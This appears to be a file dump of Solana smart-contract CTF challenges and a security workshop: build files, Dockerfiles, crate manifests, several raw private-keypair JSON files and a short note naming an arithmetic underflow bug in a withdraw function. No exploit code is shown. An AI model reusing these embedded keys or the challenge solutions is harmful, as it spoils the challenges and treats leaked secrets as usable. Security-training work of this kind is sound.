[65,45,243,189,142,191,145,244,200,197,78,230,111,240,34,146,143,70,100,241,223,179,182,3,43,223,230,15,142,207,154,45,188,118,255,28,94,228,19,235,98,146,84,33,208,205,3,107,1,229,9,15,60,61,142,46,63,2,205,227,245,221,213,211] -------------------------------------------------------------------------------- /darksols/evil-contract/Makefile: -------------------------------------------------------------------------------- 1 | OUT_DIR := ./dist/ 2 | SOLANA_TOOLS = $(shell dirname $(shell which cargo-build-bpf)) 3 | include $(SOLANA_TOOLS)/sdk/bpf/c/bpf.mk 4 | 5 | build: 6 | touch src/*/* 7 | make evil-contract 8 | cp dist/evil-contract.so ../darksols/ 9 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/src/shared/clock.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint64_t slot; 3 | uint64_t epoch_start_timestamp; 4 | uint64_t epoch; 5 | uint64_t leader_schedule_epoch; 6 | uint64_t unix_timestamp; 7 | } Clock; 8 | 9 | 10 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/public/keys/bank-manager.json: -------------------------------------------------------------------------------- 1 | [153,36,39,4,72,15,139,62,153,61,48,69,149,3,29,170,141,11,194,195,148,255,97,60,191,131,84,54,240,99,190,208,13,88,88,86,174,108,2,217,64,85,7,247,20,73,71,75,45,63,143,210,110,196,50,178,177,246,182,191,228,151,135,69] -------------------------------------------------------------------------------- /solhana-ctf/keys/challenge2.json: -------------------------------------------------------------------------------- 1 | [245,235,137,232,120,81,169,110,163,98,211,77,140,128,18,221,33,248,1,245,35,254,221,73,58,209,207,116,235,246,110,231,243,157,126,119,184,26,56,81,230,150,205,178,247,161,182,239,20,247,178,33,21,81,138,150,79,11,185,140,197,227,125,73] -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/keys/rich-boi.json: -------------------------------------------------------------------------------- 1 | [69,6,173,160,17,232,57,155,42,46,188,23,129,141,12,154,141,174,54,71,125,215,208,47,122,149,179,124,208,187,69,185,162,17,69,7,138,165,201,253,241,171,191,230,39,5,12,137,88,241,137,145,39,49,108,138,34,93,4,193,14,128,105,50] -------------------------------------------------------------------------------- /allesctf21/legit-bank/public/keys/flag-depot.json: -------------------------------------------------------------------------------- 1 | [150,57,180,115,108,215,174,78,205,149,188,97,155,178,238,45,33,40,218,219,181,178,167,151,165,14,188,94,93,67,225,41,158,130,163,51,186,33,247,120,52,78,121,13,229,71,81,89,214,29,252,218,19,87,125,31,18,229,4,104,87,200,88,236] -------------------------------------------------------------------------------- /allesctf21/legit-bank/public/keys/rich-boi.json: -------------------------------------------------------------------------------- 1 | [69,6,173,160,17,232,57,155,42,46,188,23,129,141,12,154,141,174,54,71,125,215,208,47,122,149,179,124,208,187,69,185,162,17,69,7,138,165,201,253,241,171,191,230,39,5,12,137,88,241,137,145,39,49,108,138,34,93,4,193,14,128,105,50] -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/author/rich-boi.json: -------------------------------------------------------------------------------- 1 | [69,6,173,160,17,232,57,155,42,46,188,23,129,141,12,154,141,174,54,71,125,215,208,47,122,149,179,124,208,187,69,185,162,17,69,7,138,165,201,253,241,171,191,230,39,5,12,137,88,241,137,145,39,49,108,138,34,93,4,193,14,128,105,50] -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/keys/rich-boi.json: -------------------------------------------------------------------------------- 1 | [69,6,173,160,17,232,57,155,42,46,188,23,129,141,12,154,141,174,54,71,125,215,208,47,122,149,179,124,208,187,69,185,162,17,69,7,138,165,201,253,241,171,191,230,39,5,12,137,88,241,137,145,39,49,108,138,34,93,4,193,14,128,105,50] -------------------------------------------------------------------------------- /allesctf21/secret-store/public/keys/rich-boi.json: -------------------------------------------------------------------------------- 1 | [69,6,173,160,17,232,57,155,42,46,188,23,129,141,12,154,141,174,54,71,125,215,208,47,122,149,179,124,208,187,69,185,162,17,69,7,138,165,201,253,241,171,191,230,39,5,12,137,88,241,137,145,39,49,108,138,34,93,4,193,14,128,105,50] -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/setup/keys/rich-boi.json: -------------------------------------------------------------------------------- 1 | [150,71,163,104,255,216,23,138,221,137,46,116,90,182,80,237,162,75,62,24,14,196,151,167,17,169,42,42,161,153,102,52,71,235,203,168,7,94,171,146,175,130,203,193,130,105,79,96,194,201,31,206,75,80,169,242,125,183,73,165,36,3,183,177] -------------------------------------------------------------------------------- /allesctf21/bugchain/solution/author/rich-boi.json: -------------------------------------------------------------------------------- 1 | [150,71,163,104,255,216,23,138,221,137,46,116,90,182,80,237,162,75,62,24,14,196,151,167,17,169,42,42,161,153,102,52,71,235,203,168,7,94,171,146,175,130,203,193,130,105,79,96,194,201,31,206,75,80,169,242,125,183,73,165,36,3,183,177] -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/keys/bank-manager.json: -------------------------------------------------------------------------------- 1 | [11,55,81,102,193,182,44,82,115,77,150,42,81,203,85,131,146,48,255,74,247,223,33,129,54,3,27,44,19,110,115,79,104,205,218,11,119,250,51,213,95,207,114,94,50,182,139,144,251,86,217,228,247,168,230,209,102,164,108,179,46,50,96,207] -------------------------------------------------------------------------------- /allesctf21/secret-store/public/keys/flag-depot.json: -------------------------------------------------------------------------------- 1 | [150,57,180,115,108,215,174,78,205,149,188,97,155,178,238,45,33,40,218,219,181,178,167,151,165,14,188,94,93,67,225,41,158,130,163,51,186,33,247,120,52,78,121,13,229,71,81,89,214,29,252,218,19,87,125,31,18,229,4,104,87,200,88,236] -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level2-bug.md: -------------------------------------------------------------------------------- 1 | # Bug 2 | 3 | The bug is in the `withdraw` function: 4 | ```rs 5 | **wallet_info.lamports.borrow_mut() -= amount; 6 | **destination_info.lamports.borrow_mut() += amount; 7 | ``` 8 | 9 | can overflow/underflow for large `amount` -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/keys/flag-depot.json: -------------------------------------------------------------------------------- 1 | [53,116,23,3,139,137,20,220,171,142,179,177,248,67,142,187,199,5,92,157,237,184,155,180,223,195,182,83,211,34,44,105,191,154,181,217,138,123,66,121,34,177,101,152,207,121,5,193,117,103,131,239,249,141,167,187,197,4,130,143,177,15,231,143] -------------------------------------------------------------------------------- /league-of-lamports/programs/Makefile: -------------------------------------------------------------------------------- 1 | OUT_DIR := ./dist/ 2 | SOLANA_TOOLS = $(shell dirname $(shell which cargo-build-bpf)) 3 | include $(SOLANA_TOOLS)/sdk/bpf/c/bpf.mk 4 | 5 | build: 6 | touch src/*/* 7 | make leagueoflamports 8 | cp dist/leagueoflamports.so ../LeagueOfLamports/ 9 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/keys/flag-depot.json: -------------------------------------------------------------------------------- 1 | [53,116,23,3,139,137,20,220,171,142,179,177,248,67,142,187,199,5,92,157,237,184,155,180,223,195,182,83,211,34,44,105,191,154,181,217,138,123,66,121,34,177,101,152,207,121,5,193,117,103,131,239,249,141,167,187,197,4,130,143,177,15,231,143] -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/dist/solution-keypair.json: -------------------------------------------------------------------------------- 1 | [8,50,214,5,166,126,180,195,122,168,67,207,123,231,51,80,179,41,121,134,251,245,250,69,75,198,9,129,93,123,9,249,214,255,113,217,205,141,63,194,170,22,77,38,35,10,110,44,6,161,227,13,135,246,171,36,91,156,37,191,43,97,171,247] -------------------------------------------------------------------------------- /pool/client/framework/chall/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10.5-slim-bullseye 2 | 3 | RUN apt-get update -y 4 | RUN pip3 install -U pip 5 | RUN pip3 install pwntools solana base58 6 | RUN mkdir -p /tmp/solver 7 | 8 | WORKDIR /tmp/solver 9 | COPY . . 10 | 11 | WORKDIR /tmp/solver 12 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "types": ["mocha", "chai"], 4 | "typeRoots": ["./node_modules/@types"], 5 | "lib": ["es2015"], 6 | "module": "commonjs", 7 | "target": "es6", 8 | "esModuleInterop": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /pool/client/framework/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | members = [ 3 | "programs/*" 4 | ] 5 | 6 | [profile.release] 7 | overflow-checks = true 8 | lto = "fat" 9 | codegen-units = 1 10 | [profile.release.build-override] 11 | opt-level = 3 12 | incremental = false 13 | codegen-units = 1 14 | -------------------------------------------------------------------------------- /moar-horse-5/program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "moar-horse" 3 | version = "1.0.0" 4 | edition = "2021" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | borsh = "0.9.3" 11 | borsh-derive = "0.9.3" 12 | solana-program = "1.8.14" 13 | 14 | [lib] 15 | crate-type = ["cdylib", "lib"] 16 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # These are backup files generated by rustfmt 7 | **/*.rs.bk 8 | 9 | # MSVC Windows builds of rustc generate these, which store debugging information 10 | *.pdb 11 | 12 | book-target -------------------------------------------------------------------------------- /moar-horse-5/server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "moar-horse-server" 3 | version = "1.0.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | sol-ctf-framework = "0.1.0" 8 | poc-framework-osec = "0.1.1" 9 | solana-program = "1.8.14" 10 | threadpool = "1.8.1" 11 | moar-horse = { version = "1.0.0", path = "../program" } 12 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/README.md: -------------------------------------------------------------------------------- 1 | # Solana Security Workshop 2 | 3 | Welcome to our Solana Security Workshop! 4 | 5 | All details are in the docs. To check it out online, visit [https://workshop.neodyme.io](https://workshop.neodyme.io). 6 | 7 | To build it yourself, install mdbook (`cargo install mdbook`) and run `mdbook serve`. 8 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/author/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "author" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = { path = "../../../../../../neodyme/neodyme-labs/poc-framework/" } 10 | -------------------------------------------------------------------------------- /allesctf21/bugchain/solution/author/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solana-test" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = { path = "../../../../../../neodyme/neodyme-labs/poc-framework/" } 10 | -------------------------------------------------------------------------------- /solfire/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solfire" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = "0.1.4" 10 | anchor-client = "*" 11 | solana-program = "*" 12 | tempfile = "*" 13 | threadpool = "*" 14 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/book.toml: -------------------------------------------------------------------------------- 1 | [book] 2 | authors = ["Neodyme"] 3 | language = "en" 4 | multilingual = false 5 | src = "docs" 6 | title = "Solana Security Workshop" 7 | 8 | [build] 9 | build-dir = "target/book" 10 | 11 | [output.html] 12 | default-theme = "navy" 13 | git-repository-url = "https://github.com/neodyme-labs/neodyme-breakpoint-workshop" -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/resources.md: -------------------------------------------------------------------------------- 1 | # Resources 2 | 3 | Collection of helpful links: 4 | 5 | - [PoC Framework Docs](https://docs.rs/poc-framework/0.1.2/poc_framework/trait.Environment.html) 6 | - [Worshop Presentation](https://www.youtube.com/watch?v=vbkhhgeP30I) 7 | - [Common Pitfalls and How to Avoid Them](https://blog.neodyme.io/posts/solana_common_pitfalls) -------------------------------------------------------------------------------- /league-of-lamports/LeagueOfLamports/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "league_of_lamports" 3 | version = "0.33.7" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = "0.1.6" 10 | anchor-client = "*" 11 | solana-program = "*" 12 | tempfile = "*" 13 | threadpool = "*" 14 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level0/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level0" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "*", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level1/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level1" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "*", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level2/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level2" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "*", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level3/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level3" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | 10 | [dependencies] 11 | solana-program = "1.8.2" 12 | spl-token = { version = "*", features = ["no-entrypoint"] } 13 | borsh = "0.9.1" 14 | borsh-derive = "0.9.1" 15 | 16 | [lib] 17 | crate-type = ["cdylib", "lib"] 18 | -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/setup/src/bin/generate_ledger.rs: -------------------------------------------------------------------------------- 1 | use setup::GenesisSetup; 2 | use solana_sdk::{signature::read_keypair_file, signer::Signer}; 3 | 4 | fn main() { 5 | let rich_boi = read_keypair_file("keys/rich-boi.json").unwrap(); 6 | 7 | GenesisSetup::new() 8 | .add_flag_mint(0) 9 | .add_flag_program() 10 | .init_and_exit(rich_boi.pubkey()); 11 | } 12 | -------------------------------------------------------------------------------- /solfire/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | ARG FLAG 10 | ENV FLAG=$FLAG 11 | 12 | RUN cargo build --release 13 | 14 | COPY solfire.so ./ 15 | 16 | CMD [ "./target/release/solfire" ] 17 | 18 | 19 | -------------------------------------------------------------------------------- /solhana-ctf/client/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "api", 3 | "version": "1.0.0", 4 | "main": "index.js", 5 | "license": "MIT", 6 | "type": "module", 7 | "dependencies": { 8 | "@project-serum/anchor": "^0.24.2", 9 | "@solana/spl-token": "^0.2.0", 10 | "@solana/web3.js": "^1.37.1", 11 | "bn.js": "^5.2.0", 12 | "got": "^12.0.3", 13 | "uuid": "^8.3.2" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | solve = "Fg6PaFpoGXkYsidMpWTK6W2BeZ7FEfcYkg476zPFsLnS" 5 | 6 | [registry] 7 | url = "https://anchor.projectserum.com" 8 | 9 | [provider] 10 | cluster = "localnet" 11 | wallet = "/root/.config/solana/id.json" 12 | 13 | [scripts] 14 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 tests/**/*.ts" 15 | -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/flag-program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "flag" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-sdk = "1.7.10" 10 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 11 | 12 | [lib] 13 | name = "flag" 14 | crate-type = ["dylib"] 15 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/flag-program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "flag" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-sdk = "1.7.10" 10 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 11 | 12 | [lib] 13 | name = "flag" 14 | crate-type = ["dylib"] 15 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/flag-program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "flag" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-sdk = "1.7.10" 10 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 11 | 12 | [lib] 13 | name = "flag" 14 | crate-type = ["dylib"] 15 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: poc 2 | 3 | DEP = \ 4 | cashio/target/deploy/bankman.so \ 5 | cashio/target/deploy/brrr.so 6 | 7 | poc: $(DEP) 8 | cargo run -p cashio-poc 9 | 10 | cashio/target/deploy/bankman.so: cashio/programs/bankman/* 11 | cd cashio/programs/bankman; cargo build-bpf 12 | 13 | cashio/target/deploy/brrr.so: cashio/programs/brrr/* 14 | cd cashio/programs/brrr; cargo build-bpf 15 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4-poc-contract/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level4-poc-contract" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [features] 7 | no-entrypoint = [] 8 | 9 | [dependencies] 10 | solana-program = "1.8.2" 11 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | 15 | [lib] 16 | crate-type = ["cdylib", "lib"] 17 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "level4" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | [dependencies] 7 | solana-program = "1.7.17" 8 | vendored-spl-token = { path = "./vendored-spl-token-3.1.0", features = ["no-entrypoint"] } 9 | borsh = "0.9.1" 10 | borsh-derive = "0.9.1" 11 | 12 | [lib] 13 | crate-type = ["cdylib", "lib"] 14 | 15 | [features] 16 | no-entrypoint = [] 17 | -------------------------------------------------------------------------------- /league-of-lamports/LeagueOfLamports/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.59 2 | 3 | RUN apt-get update -y && apt-get install libudev-dev libssl-dev pkg-config -y 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | ARG FLAG 10 | ENV FLAG=$FLAG 11 | 12 | RUN cargo build --release 13 | 14 | COPY leagueoflamports.so ./ 15 | 16 | EXPOSE 8080 17 | 18 | CMD [ "./target/release/league_of_lamports" ] 19 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/brrr-shim/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "brrr-shim" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | anchor-lang = "0.24.2" 10 | anchor-spl = "0.24.2" 11 | 12 | arrow-sunny = "0.3.1" 13 | bankman = "0.3.1" 14 | crate-token = "0.6.0" 15 | stable-swap-anchor = "^1.7" 16 | -------------------------------------------------------------------------------- /moar-horse-5/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:bullseye-slim 2 | COPY --from=krallin/ubuntu-tini /usr/bin/tini /tini 3 | ENTRYPOINT ["/tini", "--"] 4 | 5 | RUN apt-get update && \ 6 | apt-get -y install libudev-dev libssl-dev pkg-config && \ 7 | rm -rf /var/lib/apt/lists/* 8 | 9 | WORKDIR /app 10 | COPY moar-horse-server moar_horse.so flag.txt ./ 11 | 12 | EXPOSE 5000 13 | USER nobody 14 | CMD ["/app/moar-horse-server"] 15 | -------------------------------------------------------------------------------- /darksols/darksols/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.59 2 | 3 | RUN apt-get update -y && apt-get install libudev-dev libssl-dev pkg-config -y 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | COPY spl-token ./spl-token 9 | 10 | ARG FLAG 11 | ENV FLAG=$FLAG 12 | 13 | RUN cargo build --release 14 | 15 | COPY darksols.so evil-contract.so ./ 16 | 17 | EXPOSE 8080 18 | 19 | CMD [ "./target/release/dark-sols" ] 20 | 21 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4-poc-contract/src/lib.rs: -------------------------------------------------------------------------------- 1 | use solana_program::{ 2 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, 3 | pubkey::Pubkey, 4 | }; 5 | 6 | entrypoint!(process_instruction); 7 | 8 | pub fn process_instruction( 9 | _program_id: &Pubkey, 10 | _accounts: &[AccountInfo], 11 | _instruction_data: &[u8], 12 | ) -> ProgramResult { 13 | panic!("Nothing here yet."); 14 | } 15 | -------------------------------------------------------------------------------- /pool/client/framework/chall/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | skip-lint = false 4 | [programs.localnet] 5 | challenge = "7Ex3YxehDTJSYeZ3Bhp965F7pMfqDUyzUvg3V21BwxkV" 6 | 7 | [registry] 8 | url = "https://api.apr.dev" 9 | 10 | [provider] 11 | cluster = "localnet" 12 | wallet = "~/.config/solana/id.json" 13 | 14 | [scripts] 15 | test = "yarn run ts-mocha -p ./tsconfig.json -t 1000000 --exclude tests/utils/** tests/**/*.ts" 16 | -------------------------------------------------------------------------------- /solhana-ctf/chain/Anchor.toml: -------------------------------------------------------------------------------- 1 | [features] 2 | seeds = false 3 | [programs.localnet] 4 | challenge1 = "9NK3PnfnqMihgTbNuqjWCL6t8F4kPLqSz1wuj9wYxsoh" 5 | challenge2 = "HPyMpt2qxYjifYVkeXEGqbqX4BB4zrLj1Bw69xTTPyFn" 6 | challenge3 = "GXU1aHkqYt7oiKa2QtifvBx1sdXE8SKmNvtww4hWMf2z" 7 | 8 | [registry] 9 | url = "https://anchor.projectserum.com" 10 | 11 | [provider] 12 | cluster = "localnet" 13 | wallet = "/home/hana/.config/solana/id.json" 14 | -------------------------------------------------------------------------------- /darksols/darksols/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dark-sols" 3 | version = "1.33.7" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = "0.1.6" 10 | anchor-client = "*" 11 | solana-program = "*" 12 | spl-token = { path = "./spl-token", features = ["no-entrypoint"] } 13 | tempfile = "*" 14 | threadpool = "*" 15 | borsh = "*" 16 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/pocs/src/lib.rs: -------------------------------------------------------------------------------- 1 | use poc_framework::{solana_transaction_status::EncodedConfirmedTransaction, PrintableTransaction}; 2 | 3 | pub fn assert_tx_success(tx: EncodedConfirmedTransaction) -> EncodedConfirmedTransaction { 4 | match &tx.transaction.meta { 5 | Some(meta) if meta.err.is_some() => { 6 | tx.print(); 7 | panic!("tx failed!") 8 | } 9 | _ => tx, 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /solhana-ctf/chain/programs/challenge1/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "challenge1" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2018" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "challenge1" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [dependencies] 19 | anchor-lang = "0.24.2" 20 | anchor-spl = "0.24.2" 21 | -------------------------------------------------------------------------------- /solhana-ctf/chain/programs/challenge2/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "challenge2" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2018" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "challenge2" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [dependencies] 19 | anchor-lang = "0.24.2" 20 | anchor-spl = "0.24.2" 21 | -------------------------------------------------------------------------------- /solhana-ctf/chain/programs/challenge3/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "challenge3" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2018" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "challenge3" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [dependencies] 19 | anchor-lang = "0.24.2" 20 | anchor-spl = "0.24.2" 21 | -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/setup/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "setup" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-core = "1.7.10" 10 | solana-sdk = "1.7.10" 11 | solana-program = "1.7.10" 12 | solana-streamer = "1.7.10" 13 | spl-token = "*" 14 | borsh = "0.9.1" 15 | spl-associated-token-account = "1.0.3" 16 | 17 | [lib] 18 | name = "setup" 19 | -------------------------------------------------------------------------------- /allesctf21/bugchain/solution/author/program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "exploit-program" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [features] 9 | no-entrypoint = [] 10 | 11 | [dependencies] 12 | solana-program = "1.7.10" 13 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 14 | 15 | [lib] 16 | name = "exploit" 17 | crate-type = ["cdylib", "lib"] 18 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | if [ "$#" -ne 2 ]; then 4 | echo "Use: " 5 | exit 1 6 | fi 7 | 8 | IMAGE_NAME=solver 9 | HOST=$1 10 | PORT=$2 11 | 12 | docker build \ 13 | -t $IMAGE_NAME \ 14 | -f Dockerfile \ 15 | . 16 | 17 | docker rm -f $IMAGE_NAME 18 | docker run \ 19 | --network="host" \ 20 | --name $IMAGE_NAME \ 21 | $IMAGE_NAME \ 22 | /tmp/solver/solve.py HOST=$HOST PORT=$PORT 23 | -------------------------------------------------------------------------------- /pool/client/framework-solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve-framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | anchor-lang = "0.25.0" 10 | solana-program = "*" 11 | spl-token = "*" 12 | solve = { path="./solve/programs/solve", features = ["no-entrypoint"]} 13 | chall = { path="../framework/chall/programs/chall", features = ["no-entrypoint"]} 14 | -------------------------------------------------------------------------------- /solhana-ctf/chain/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | } 13 | -------------------------------------------------------------------------------- 